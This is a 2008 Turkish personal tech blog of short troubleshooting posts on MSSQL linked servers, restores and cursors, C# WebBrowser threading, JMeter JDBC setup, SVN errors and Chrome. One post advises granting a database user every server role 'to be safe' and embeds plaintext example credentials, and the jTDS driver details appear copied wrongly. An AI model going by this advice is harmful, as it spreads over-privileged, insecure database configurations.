Yukardaki gibi bir hata alırsanız bunun sebebi yalnızca "Windows Authentication" modunda çalışmasıdır.

Bunu düzeltmek için;



MSSQL Linked Server Kurma Ve Kullanma

Mssql Linked Server'i kurmayı ve kullanmayı anlatan bir döküman hazırladım.
Giriş seviyesinde olup hızlıca hazırlanmıştır.

Yorumlarınızı bu başlık altında yapabilirsiniz.

Biraz girişten birşeyler yazalım;

Kısaca ne olduğunu açıklamak gerekirse uzağı yakın yapan, birden fazla database ile çalışmanızı sağlayan olağan üstü özellikli bir ürün.

Başlat -> Çalıştır -> cmd

osql -U username -P password -S VOLKAN -i "C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Install\instdist.sql"

Entere bastiktan sonra şöyle bir hata alabiliriz ;
Not: Yukarda yazdığımız kodlar için ayrıntılı bilgi;
http://support.microsoft.com/default.aspx?scid=kb;en-us;906954
Örnek connection için bakınız.

Cannot execute the replication script in the 'master' database; the current session will be terminated. The script must be executed in the distribution database, and the master database cannot serve as the distribution database.

Bu hatanın nedeni User ‘in bu işleri yapmaya yetkisi olmaması.

Userin üzerindeyken sağ tıklayıp propertiese giriyoruz.

Sol tarafta Server Roles den bütün alanları tıklıyoruz.

(işimizi sağlama alalım)

User mapping den master databaseini seçip yetkileri ayarlıyoruz.

Tekrar kodumuzu yazıp entere basınca işlem tamamlanıyoruz. Aşağıdaki iş olmuştur mesajını alıyoruz.

[SQL Native Client]Shared Memory Provider: No process is on the other end of the pipe.[SQL Native Client]Communication link failure

Şimdi Linked Server kurulduğuna göre sıra geldi uzaktaki serverimizi eklemeye.

Bunu yapmak için kullanabileceğimiz procedurler ;

sp_addlinkedserver @server= '192.168.3.4' , @srvproduct= 'SQL Server ' --sql server bağlantısı için

sp_addlinkedserver

'ServerAdiniistediginizgibiyazin',

'',

'MSDASQL',

NULL,

NULL,

'DRIVER={SQL Server};SERVER=VOLKAN;UID=volkan;PWD=123456;'

Bu bağlantı şekilleri hakkında detaylı bilgi ;

http://msdn.microsoft.com/en-us/library/ms190479.aspx

Kurduktan sonra bunu kontrol edelim gerçekten oldu mu diye.

sp_helpserver

komutu bize linked serverları listeler. Ardından Login olmamız gerekmekte. Bunun içinse aşağıdaki komutu yazarız;

sp_addlinkedsrvlogin 'ServerAdiniistediginizgibiyazin', 'true'

Eğer user ile login olacaksak.

sp_addlinkedsrvlogin 'ServerAdiniistediginizgibiyazin', 'false', 'volkan', 'volkan', '123456'

Eğer bunuda başarıyla yaptıysak şimdi sırada sql i yazmak var.


Select * From ServerAdiniistediginizgibiyazin.Database.dbo.Tabloadi



Yaptıklarımızı kısaca özetleyecek olursak

--server dahil edildi

1. sp_addlinkedserver @server= 'NOTEBOOK' , @srvproduct= 'SQL Server'

--istenirse ad deðiþtirme

1.1. --sp_setnetname @server = 'SERVER', @netname = SERVER2'

-- login olma

2. sp_addlinkedsrvlogin 'NOTEBOOK', 'true' --veya

sp_addlinkedsrvlogin 'NOTEBOOK', 'false', 'volkan', 'volkan', '123456'

--baðlý bulunduðum serverdaki kullanýcý adýmla

--sorgu yazma

4. Select * From ServerAdiniistediginizgibiyazin.Database.dbo.Tabloadi

-- drop etme

5. sp_dropserver @server = 'NOTEBOOK', @droplogins = null

--durum görme

6. sp_helpserver

Bunlar bu işi elle yapma yöntemleri diğer türlü nasıl yapılır ?

Microsoft SQL Server Management Studio yardımı ile şöyle yapabiliriz;

Connection Objesi yarattıktan sonra “Server Object” e tıklıyoruz açılan yerden Linked Servers e sağ tıklayıp yeni ekle diyoruz.


Linked Server Online
Linked Server Doc

15 Eylül 2008 Pazartesi

MSSQL de DB yi restore etmek. Restore failed for Server ,System.Data.SqlClient.SqlError

Veritabanınızı restore etmek istediğinizde aşağıdaki hata ile karşılaşırsınız bunun nedenleri şunlar olabilir ;


Restore failed for Server 'SERVER'. (Microsoft.SqlServer.Smo)
System.Data.SqlClient.SqlError: Exclusive access could not be obtained because the database is in
use. (Microsoft.SqlServer.Smo)

1. DB nin yolu doğru verilmemiştir.


2. Veritabanına sağ tıklayıp yeni bir sorgu çalıştır demişsinizdir ve bu açık kalmıştır.

14 Eylül 2008 Pazar

Arama Motorlarına Sitenizi Ekleme - Add Url

Yeni bir web sitesi açan herkesin isteği arama motorlarında hızlıca görüntülenmektir.

Bunun için google ın sayfası;

http://www.google.com/addurl/
https://www.google.com/webmasters/tools/dashboard Üyelik gerektirir

Yahoo nun ki ;

https://siteexplorer.search.yahoo.com/mysites Üyelik gerektirir.

Üyelik gerektiren kısımlardan istediğiniz gibi sitenize harita (map) ekleyebilirsiniz.

GSiteCrawler Site Haritası Yapma Aracı

Web sitenizin haritasını oluşturmak isterseniz kullanabileceğiniz güzel bir araç ;



GSiteCrawler

Burayada bir göz atın

13 Eylül 2008 Cumartesi

Yazdığınız Kodları Renklendirme ( Highlighting )

Bloğa bişeyler atıyorum sonra kod oldukları belli olmuyor.
Birkaç arama sonucunda şunu buldum;

http://code.google.com/p/syntaxhighlighter/

Burdaki dosyaları bir yere yüklüyorsunuz. Googleden blog açıyorsunuz google nin size verdiği web hosta yükleyin gitsin.

http://pages.google.com a bütün js dosyalarını ve swf yi yükleyin. Ek olarak SyntaxHighlighter.css
unutmayın.

Bunların hepsini bloğunuzda YERLEŞİM/HTML Düzenle kısmından tagının hemen üstüne şu şekilde girin;


Ekleyin.

Sonrasında kullanmak için


... some code here ...


Daha fazla bilgi : http://code.google.com/p/syntaxhighlighter/wiki/Usage

11 Eylül 2008 Perşembe

Ramazanda sahurda ne yenir ? Tabiyki zeytinyağlı salata

Merhaba,

Sahurda zeytinyağlı salata yerseniz (1 çay bardağı ) hem acıkmazsınız hemde
performansınızdan birşey kaybetmezseniz.

Tavsiye ettiğim zeytinyağı;
http://www.elta-ada.com.tr/zeytinyaglarimiz.htm

c# System.Windows.Forms.WebBrowser Nesnesini Thread İçinde Kullanmak ve Threading.ApartmentState

c# System.Windows.Forms.WebBrowser Nesnesini Thread İçinde Kullanmak istediğinizde aşağıdaki gibi bir hata alabilirsiniz.


System.Reflection.TargetInvocationException: Unable to get the window handle for the 'WebBrowser' control. Windowless ActiveX controls are not supported.
System.Reflection.TargetInvocationException:
Unable to get the window handle for the 'WebBrowser' control.
Windowless ActiveX controls are not supported. --->
System.InvalidOperationException:
Cross-thread operation not valid:
Control '' accessed from a thread other than the thread it was created on.
at System.Windows.Forms.Control.get_Handle()
at System.Windows.Forms.WebBrowserBase.DoVerb(Int32 verb)
at System.Windows.Forms.WebBrowserBase.TransitionFromRunningToInPlaceActive()
--- End of inner exception stack trace ---
at System.Windows.Forms.WebBrowserBase.TransitionFromRunningToInPlaceActive()
at System.Windows.Forms.WebBrowserBase.TransitionUpTo(AXState state)
at System.Windows.Forms.WebBrowser.get_AxIWebBrowser2()
at System.Windows.Forms.WebBrowser.PerformNavigate2(Object& URL, Object& flags, Object& targetFrameName, Object& postData, Object& headers)
at System.Windows.Forms.WebBrowser.PerformNavigateHelper(String urlString, Boolean newWindow, String targetFrameName, Byte[] postData, String headers)
at System.Windows.Forms.WebBrowser.set_Url(Uri value) at System.Windows.Forms.WebBrowser.Navigate(Uri url)


Bu durumda Thread tipini aşağıdaki belirtiriz.

thread = new Thread(new ThreadStart(function));
thread.SetApartmentState(System.Threading.ApartmentState.STA);

9 Eylül 2008 Salı

MSSQL de Select ile aldigimiz datalar arasinda gezmek


DECLARE @Degisken as money
DECLARE @Count AS INT
SET @Count = 0
DECLARE test_cursor CURSOR
FOR
Select TOP 4 alanadi from tabloadi ORDER BY ID DESC
OPEN test_cursor

FETCH NEXT FROM test_cursor INTO @Degisken
WHILE (@@FETCH_STATUS <> -1)--bitti mi ?
BEGIN
IF (@Degisken is NULL OR @Degisken = 0)
begin
SET @Count = @Count +1--sayiyi artir
END
FETCH NEXT FROM test_cursor INTO @Degisken
END
CLOSE test_cursor
DEALLOCATE test_cursor
SELECT @Count --sonucu goruntule

c# da System.Windows.Forms.WebBrowser Nesnesi ile yönlendirmeleri yakalama

System.Windows.Forms.WebBrowser ' ile bir sayfa açtığımızda bunun yönlenip yönlenmediğini anlamak için şöyle bir method kullanabiliriz.

Uri ourUri = new Uri(UrlAddress);
webBrowser.AllowNavigation = true;//bu çok önemli
webBrowser.Navigate(ourUri);
//webBrowser.ScriptErrorsSuppressed = true;
while (webBrowser.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();

}
//Yukarda donguye girmek zorunda
//islem tamamlanana kadar webBroser nesnemize data gelmiyor.
if (ourUri.AbsoluteUri != webBrowser.Url.AbsoluteUri)
{
//yönlenmiş
}
else
{
//yönlenmemiş
}


Ayrıca eğer script error alıyorsanız bunları kapatmak (disable) etmek için. Navigate altında ;

webBrowser.ScriptErrorsSuppressed = true;

yazmalısınız

8 Eylül 2008 Pazartesi

JMeter JDBC (Java Database Connectivity ) MSSql ile Kullanabilmek için

JMeter JDBC (Java Database Connectivity ) MSSql ile Kullanabilmek için

1. Microsoft'un connectörü :http://www.microsoft.com/downloads/details.aspx?familyid=f914793a-6fb4-475f-9537-b8fcb776befd&displaylang=en
Driver Class: com.microsoft.jdbc.sqlserver.SQLServerDriver
Databse URL: jdbc:sqlserver://host:port;DatabaseName=dbname
Default Port: 1433

2. Open Source : http://jtds.sourceforge.net/
Driver Class: com.microsoft.jdbc.sqlserver.SQLServerDriver
Databse URL: jdbc:sqlserver://host:port;DatabaseName=dbname
Default Port: 1433

JMeter Response message: java.sql.SQLException: No suitable driver found for jdbc:

JMeter ile veritabanı bağlantısı kurmaya çalışırken bu hatayı alırsanız yapmanız gereken;

MySql sitesinden connectorü indirip http://dev.mysql.com/downloads/connector/j/5.1.html

*.jar dosyasını Jmeter in bulunduğu dizinde lib\ext dizinine atmak.

Ardından JMeteri yeniden başlatırsanız sorunuz çözülecektir.

MSSQL'de sorgu sonucunu tabloya aktarma


SELECT * INTO tablo_temp FROM OrjinalTablo WHERE


"OrjinalTablo" sundan gelen kayitlari tablo_temp e atar.



Burdan da "İmport Data" aracılığı ile başka bir veritabanına tabloyu atıp işimizi yapabiliriz.

5 Eylül 2008 Cuma

Cross-thread operation not valid: Control ' ' accessed from a thread other than the thread it was created on.


System.InvalidOperationException was unhandled
Message="Cross-thread operation not valid: Control 'cbxstatus' accessed from a thread other than the thread it was created on."
Source="System.Windows.Forms"
StackTrace:
at System.Windows.Forms.Control.get_Handle()
at System.Windows.Forms.Control.SendMessage(Int32 msg, Int32 wparam, Int32 lparam)
at System.Windows.Forms.ComboBox.get_SelectedIndex()
at CodeXXXXX.XXXXX.StartTracking() in D:\xx\xXXXXX\trunk\XXXXX.cs:line 912
at System.Threading.ThreadHelper.ThreadStart_Context(Object state)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()

Thread içinde Form nesnesi kullandığınızda bu tür hatalar alabilirsiniz. Bunları aşmanın yolu
1- Invoke Methodu
2- Form nesnemiz diğelim ki ComboBox. Seçili olan itemin değerini almak istiyoruz o zaman "SelectedIndexChanged" Event inin içine fonksiyon adını yazıp Selectedindex ini yukarda tanımladığımız değişkene atarız. Sorunumuz hızlıca çözülmüş olur.

3 Eylül 2008 Çarşamba

svn: Commit failed : svn While preparing Inconsistent line ending style

"svn: Commit failed : svn While preparing Inconsistent line ending style"

Yukardakine benzer hata alırsanız yapmanız gereken. Svn e girip dosyayi silip yeniden commit etmek.

Veya ,

Inconsistent line ending style

Google Chrome Browser

Google yeni internet tarayıcısı olan "Google Chrome" yi görücüye çıkarmış.

İlk başta farkettiğim şey sayfalari gec acip cpu yu deli gibi kullanmasi. Ama ram kullanim orani ff den kat be kat dusuk.

Javascriptte oldukca hizli.

Sonuc ;

Bu alet ile google gear ile yapilan uygulamalar cok super calisir. Bunun icinde google nin bunu her pc ye sokmasi lazim. Cunku zamaninda bu tur islemler icin bir eklentiyi bilgisayara yuklememizi istiyordu. Simdi o isi browser ile kendi yapio. Kendini ustun kilacak bir browser yapmis iste.